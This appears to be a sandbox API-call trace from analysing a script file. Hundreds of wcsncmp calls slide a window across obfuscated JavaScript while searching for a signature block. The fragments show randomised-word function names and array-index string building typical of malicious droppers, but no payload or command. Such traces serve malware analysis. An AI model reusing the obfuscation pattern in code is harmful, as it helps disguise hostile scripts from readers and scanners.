	[0041.412] wcsncmp (_String1="ction stemsAfraidPlus(e){return p", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.412] wcsncmp (_String1="tion stemsAfraidPlus(e){return pr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.412] wcsncmp (_String1="ion stemsAfraidPlus(e){return pre", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.413] wcsncmp (_String1="on stemsAfraidPlus(e){return pres", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.413] wcsncmp (_String1="n stemsAfraidPlus(e){return presi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.413] wcsncmp (_String1=" stemsAfraidPlus(e){return presid", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19
	[0041.413] wcsncmp (_String1="stemsAfraidPlus(e){return preside", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.413] wcsncmp (_String1="temsAfraidPlus(e){return presiden", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.413] wcsncmp (_String1="emsAfraidPlus(e){return president", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.413] wcsncmp (_String1="msAfraidPlus(e){return presidentI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0041.413] wcsncmp (_String1="sAfraidPlus(e){return presidentIn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.413] wcsncmp (_String1="AfraidPlus(e){return presidentIns", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52
	[0041.413] wcsncmp (_String1="fraidPlus(e){return presidentInsi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0041.413] wcsncmp (_String1="raidPlus(e){return presidentInsid", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.413] wcsncmp (_String1="aidPlus(e){return presidentInside", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.413] wcsncmp (_String1="idPlus(e){return presidentInsideT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.413] wcsncmp (_String1="dPlus(e){return presidentInsideTo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.413] wcsncmp (_String1="Plus(e){return presidentInsideTop", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 67
	[0041.413] wcsncmp (_String1="lus(e){return presidentInsideTopi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.413] wcsncmp (_String1="us(e){return presidentInsideTopic", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.413] wcsncmp (_String1="s(e){return presidentInsideTopicS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.413] wcsncmp (_String1="(e){return presidentInsideTopicSw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 27
	[0041.413] wcsncmp (_String1="e){return presidentInsideTopicSwe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.413] wcsncmp (_String1="){return presidentInsideTopicSwee", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 28
	[0041.413] wcsncmp (_String1="{return presidentInsideTopicSweet", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 110
	[0041.413] wcsncmp (_String1="return presidentInsideTopicSweet[", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.413] wcsncmp (_String1="eturn presidentInsideTopicSweet[9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.413] wcsncmp (_String1="turn presidentInsideTopicSweet[9]", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.413] wcsncmp (_String1="urn presidentInsideTopicSweet[9]+", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.414] wcsncmp (_String1="rn presidentInsideTopicSweet[9]+c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.414] wcsncmp (_String1="n presidentInsideTopicSweet[9]+ce", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.414] wcsncmp (_String1=" presidentInsideTopicSweet[9]+cen", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19
	[0041.414] wcsncmp (_String1="presidentInsideTopicSweet[9]+cent", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0041.414] wcsncmp (_String1="residentInsideTopicSweet[9]+cente", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.414] wcsncmp (_String1="esidentInsideTopicSweet[9]+center", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.414] wcsncmp (_String1="sidentInsideTopicSweet[9]+centerP", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.414] wcsncmp (_String1="identInsideTopicSweet[9]+centerPa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.414] wcsncmp (_String1="dentInsideTopicSweet[9]+centerPag", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.414] wcsncmp (_String1="entInsideTopicSweet[9]+centerPage", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.414] wcsncmp (_String1="ntInsideTopicSweet[9]+centerPageR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.414] wcsncmp (_String1="tInsideTopicSweet[9]+centerPageRa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.414] wcsncmp (_String1="InsideTopicSweet[9]+centerPageRab", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60
	[0041.414] wcsncmp (_String1="nsideTopicSweet[9]+centerPageRabb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.414] wcsncmp (_String1="sideTopicSweet[9]+centerPageRabbi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.414] wcsncmp (_String1="ideTopicSweet[9]+centerPageRabbit", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.414] wcsncmp (_String1="deTopicSweet[9]+centerPageRabbitR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.414] wcsncmp (_String1="eTopicSweet[9]+centerPageRabbitRe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.414] wcsncmp (_String1="TopicSweet[9]+centerPageRabbitRef", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71
	[0041.414] wcsncmp (_String1="opicSweet[9]+centerPageRabbitRefu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.414] wcsncmp (_String1="picSweet[9]+centerPageRabbitRefus", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0041.414] wcsncmp (_String1="icSweet[9]+centerPageRabbitRefuse", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.414] wcsncmp (_String1="cSweet[9]+centerPageRabbitRefused", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.414] wcsncmp (_String1="Sweet[9]+centerPageRabbitRefusedV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0041.415] wcsncmp (_String1="weet[9]+centerPageRabbitRefusedVo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106
	[0041.415] wcsncmp (_String1="eet[9]+centerPageRabbitRefusedVol", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="et[9]+centerPageRabbitRefusedVolu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="t[9]+centerPageRabbitRefusedVolum", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.415] wcsncmp (_String1="[9]+centerPageRabbitRefusedVolume", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 78
	[0041.415] wcsncmp (_String1="9]+centerPageRabbitRefusedVolume.", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44
	[0041.415] wcsncmp (_String1="]+centerPageRabbitRefusedVolume.d", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 80
	[0041.415] wcsncmp (_String1="+centerPageRabbitRefusedVolume.du", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 30
	[0041.415] wcsncmp (_String1="centerPageRabbitRefusedVolume.dug", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.415] wcsncmp (_String1="enterPageRabbitRefusedVolume.dug+", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="nterPageRabbitRefusedVolume.dug+m", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.415] wcsncmp (_String1="terPageRabbitRefusedVolume.dug+ma", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.415] wcsncmp (_String1="erPageRabbitRefusedVolume.dug+man", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="rPageRabbitRefusedVolume.dug+manu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.415] wcsncmp (_String1="PageRabbitRefusedVolume.dug+manuf", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 67
	[0041.415] wcsncmp (_String1="ageRabbitRefusedVolume.dug+manufa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.415] wcsncmp (_String1="geRabbitRefusedVolume.dug+manufac", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90
	[0041.415] wcsncmp (_String1="eRabbitRefusedVolume.dug+manufact", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="RabbitRefusedVolume.dug+manufactu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69
	[0041.415] wcsncmp (_String1="abbitRefusedVolume.dug+manufactur", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.415] wcsncmp (_String1="bbitRefusedVolume.dug+manufacturi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85
	[0041.415] wcsncmp (_String1="bitRefusedVolume.dug+manufacturin", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85
	[0041.415] wcsncmp (_String1="itRefusedVolume.dug+manufacturing", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.415] wcsncmp (_String1="tRefusedVolume.dug+manufacturingS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.415] wcsncmp (_String1="RefusedVolume.dug+manufacturingSe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69
	[0041.415] wcsncmp (_String1="efusedVolume.dug+manufacturingSea", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.415] wcsncmp (_String1="fusedVolume.dug+manufacturingSeaS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0041.416] wcsncmp (_String1="usedVolume.dug+manufacturingSeaSu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.416] wcsncmp (_String1="sedVolume.dug+manufacturingSeaSur", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.416] wcsncmp (_String1="edVolume.dug+manufacturingSeaSurr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.416] wcsncmp (_String1="dVolume.dug+manufacturingSeaSurro", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.416] wcsncmp (_String1="Volume.dug+manufacturingSeaSurrou", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73
	[0041.416] wcsncmp (_String1="olume.dug+manufacturingSeaSurroun", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.416] wcsncmp (_String1="lume.dug+manufacturingSeaSurround", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.416] wcsncmp (_String1="ume.dug+manufacturingSeaSurrounde", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.416] wcsncmp (_String1="me.dug+manufacturingSeaSurrounded", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0041.419] wcsncmp (_String1="e.dug+manufacturingSeaSurrounded[", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.419] wcsncmp (_String1=".dug+manufacturingSeaSurrounded[1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 33
	[0041.419] wcsncmp (_String1="dug+manufacturingSeaSurrounded[12", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.419] wcsncmp (_String1="ug+manufacturingSeaSurrounded[12]", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.419] wcsncmp (_String1="g+manufacturingSeaSurrounded[12]+", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90
	[0041.419] wcsncmp (_String1="+manufacturingSeaSurrounded[12]+h", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 30
	[0041.419] wcsncmp (_String1="manufacturingSeaSurrounded[12]+hi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0041.419] wcsncmp (_String1="anufacturingSeaSurrounded[12]+hig", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.419] wcsncmp (_String1="nufacturingSeaSurrounded[12]+high", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.419] wcsncmp (_String1="ufacturingSeaSurrounded[12]+highe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.419] wcsncmp (_String1="facturingSeaSurrounded[12]+higher", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0041.419] wcsncmp (_String1="acturingSeaSurrounded[12]+higherW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.419] wcsncmp (_String1="cturingSeaSurrounded[12]+higherWi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.419] wcsncmp (_String1="turingSeaSurrounded[12]+higherWin", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.419] wcsncmp (_String1="uringSeaSurrounded[12]+higherWinG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.419] wcsncmp (_String1="ringSeaSurrounded[12]+higherWinGr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.420] wcsncmp (_String1="ingSeaSurrounded[12]+higherWinGra", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.420] wcsncmp (_String1="ngSeaSurrounded[12]+higherWinGrad", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.420] wcsncmp (_String1="gSeaSurrounded[12]+higherWinGradu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90
	[0041.420] wcsncmp (_String1="SeaSurrounded[12]+higherWinGradua", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0041.420] wcsncmp (_String1="eaSurrounded[12]+higherWinGradual", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.420] wcsncmp (_String1="aSurrounded[12]+higherWinGraduall", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.420] wcsncmp (_String1="Surrounded[12]+higherWinGradually", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0041.420] wcsncmp (_String1="urrounded[12]+higherWinGraduallyP", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.420] wcsncmp (_String1="rrounded[12]+higherWinGraduallyPa", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.420] wcsncmp (_String1="rounded[12]+higherWinGraduallyPar", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.420] wcsncmp (_String1="ounded[12]+higherWinGraduallyPart", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.420] wcsncmp (_String1="unded[12]+higherWinGraduallyParti", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.420] wcsncmp (_String1="nded[12]+higherWinGraduallyPartic", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.420] wcsncmp (_String1="ded[12]+higherWinGraduallyParticu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.420] wcsncmp (_String1="ed[12]+higherWinGraduallyParticul", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.420] wcsncmp (_String1="d[12]+higherWinGraduallyParticula", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.420] wcsncmp (_String1="[12]+higherWinGraduallyParticular", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 78
	[0041.420] wcsncmp (_String1="12]+higherWinGraduallyParticularl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36
	[0041.420] wcsncmp (_String1="2]+higherWinGraduallyParticularly", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37
	[0041.420] wcsncmp (_String1="]+higherWinGraduallyParticularly[", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 80
	[0041.420] wcsncmp (_String1="+higherWinGraduallyParticularly[1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 30
	[0041.420] wcsncmp (_String1="higherWinGraduallyParticularly[1]", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91
	[0041.420] wcsncmp (_String1="igherWinGraduallyParticularly[1]+", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.420] wcsncmp (_String1="gherWinGraduallyParticularly[1]+h", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90
	[0041.420] wcsncmp (_String1="herWinGraduallyParticularly[1]+ha", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91
	[0041.420] wcsncmp (_String1="erWinGraduallyParticularly[1]+har", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.420] wcsncmp (_String1="rWinGraduallyParticularly[1]+hard", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.421] wcsncmp (_String1="WinGraduallyParticularly[1]+harde", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74
	[0041.421] wcsncmp (_String1="inGraduallyParticularly[1]+harder", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.421] wcsncmp (_String1="nGraduallyParticularly[1]+harderC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.421] wcsncmp (_String1="GraduallyParticularly[1]+harderCo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58
	[0041.421] wcsncmp (_String1="raduallyParticularly[1]+harderCom", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.421] wcsncmp (_String1="aduallyParticularly[1]+harderComp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.421] wcsncmp (_String1="duallyParticularly[1]+harderCompo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.421] wcsncmp (_String1="uallyParticularly[1]+harderCompou", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.421] wcsncmp (_String1="allyParticularly[1]+harderCompoun", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.421] wcsncmp (_String1="llyParticularly[1]+harderCompound", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.421] wcsncmp (_String1="lyParticularly[1]+harderCompoundW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.421] wcsncmp (_String1="yParticularly[1]+harderCompoundWr", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108
	[0041.421] wcsncmp (_String1="Particularly[1]+harderCompoundWri", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 67
	[0041.421] wcsncmp (_String1="articularly[1]+harderCompoundWrit", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.421] wcsncmp (_String1="rticularly[1]+harderCompoundWritt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.421] wcsncmp (_String1="ticularly[1]+harderCompoundWritte", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.421] wcsncmp (_String1="icularly[1]+harderCompoundWritten", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.421] wcsncmp (_String1="cularly[1]+harderCompoundWrittenS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.421] wcsncmp (_String1="ularly[1]+harderCompoundWrittenSt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.421] wcsncmp (_String1="larly[1]+harderCompoundWrittenStu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.421] wcsncmp (_String1="arly[1]+harderCompoundWrittenStuc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.421] wcsncmp (_String1="rly[1]+harderCompoundWrittenStuck", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.421] wcsncmp (_String1="ly[1]+harderCompoundWrittenStuckT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95
	[0041.421] wcsncmp (_String1="y[1]+harderCompoundWrittenStuckTh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108
	[0041.421] wcsncmp (_String1="[1]+harderCompoundWrittenStuckThu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 78
	[0041.421] wcsncmp (_String1="1]+harderCompoundWrittenStuckThus", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36
	[0041.421] wcsncmp (_String1="]+harderCompoundWrittenStuckThus[", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 80
	[0041.422] wcsncmp (_String1="+harderCompoundWrittenStuckThus[8", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 30
	[0041.422] wcsncmp (_String1="harderCompoundWrittenStuckThus[8]", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91
	[0041.422] wcsncmp (_String1="arderCompoundWrittenStuckThus[8]}", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0041.422] wcsncmp (_String1="rderCompoundWrittenStuckThus[8]}f", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.422] wcsncmp (_String1="derCompoundWrittenStuckThus[8]}fu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.422] wcsncmp (_String1="erCompoundWrittenStuckThus[8]}fun", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.422] wcsncmp (_String1="rCompoundWrittenStuckThus[8]}func", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.422] wcsncmp (_String1="CompoundWrittenStuckThus[8]}funct", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54
	[0041.422] wcsncmp (_String1="ompoundWrittenStuckThus[8]}functi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.422] wcsncmp (_String1="mpoundWrittenStuckThus[8]}functio", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96
	[0041.422] wcsncmp (_String1="poundWrittenStuckThus[8]}function", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99
	[0041.422] wcsncmp (_String1="oundWrittenStuckThus[8]}function ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.422] wcsncmp (_String1="undWrittenStuckThus[8]}function s", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.422] wcsncmp (_String1="ndWrittenStuckThus[8]}function st", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.422] wcsncmp (_String1="dWrittenStuckThus[8]}function stu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
	[0041.422] wcsncmp (_String1="WrittenStuckThus[8]}function stud", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74
	[0041.422] wcsncmp (_String1="rittenStuckThus[8]}function study", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0041.422] wcsncmp (_String1="ittenStuckThus[8]}function studyi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.422] wcsncmp (_String1="ttenStuckThus[8]}function studyin", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.422] wcsncmp (_String1="tenStuckThus[8]}function studying", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.422] wcsncmp (_String1="enStuckThus[8]}function studyingG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88
	[0041.422] wcsncmp (_String1="nStuckThus[8]}function studyingGe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.422] wcsncmp (_String1="StuckThus[8]}function studyingGen", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70
	[0041.422] wcsncmp (_String1="tuckThus[8]}function studyingGent", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.422] wcsncmp (_String1="uckThus[8]}function studyingGentl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.422] wcsncmp (_String1="ckThus[8]}function studyingGentle", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.423] wcsncmp (_String1="kThus[8]}function studyingGentleS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94
	[0041.423] wcsncmp (_String1="Thus[8]}function studyingGentleSi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71
	[0041.423] wcsncmp (_String1="hus[8]}function studyingGentleSit", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91
	[0041.423] wcsncmp (_String1="us[8]}function studyingGentleSitu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.423] wcsncmp (_String1="s[8]}function studyingGentleSitua", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.423] wcsncmp (_String1="[8]}function studyingGentleSituat", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 78
	[0041.423] wcsncmp (_String1="8]}function studyingGentleSituati", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 43
	[0041.423] wcsncmp (_String1="]}function studyingGentleSituatio", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 80
	[0041.423] wcsncmp (_String1="}function studyingGentleSituation", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 112
	[0041.423] wcsncmp (_String1="function studyingGentleSituation(", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0041.423] wcsncmp (_String1="unction studyingGentleSituation(e", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.423] wcsncmp (_String1="nction studyingGentleSituation(e)", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.423] wcsncmp (_String1="ction studyingGentleSituation(e){", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86
	[0041.423] wcsncmp (_String1="tion studyingGentleSituation(e){r", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.423] wcsncmp (_String1="ion studyingGentleSituation(e){re", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92
	[0041.423] wcsncmp (_String1="on studyingGentleSituation(e){ret", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98
	[0041.423] wcsncmp (_String1="n studyingGentleSituation(e){retu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
	[0041.423] wcsncmp (_String1=" studyingGentleSituation(e){retur", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19
	[0041.423] wcsncmp (_String1="studyingGentleSituation(e){return", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102
	[0041.423] wcsncmp (_String1="tudyingGentleSituation(e){return ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103
	[0041.423] wcsncmp (_String1="udyingGentleSituation(e){return s", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.423] wcsncmp (_String1="dyingGentleSituation(e){return so", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87
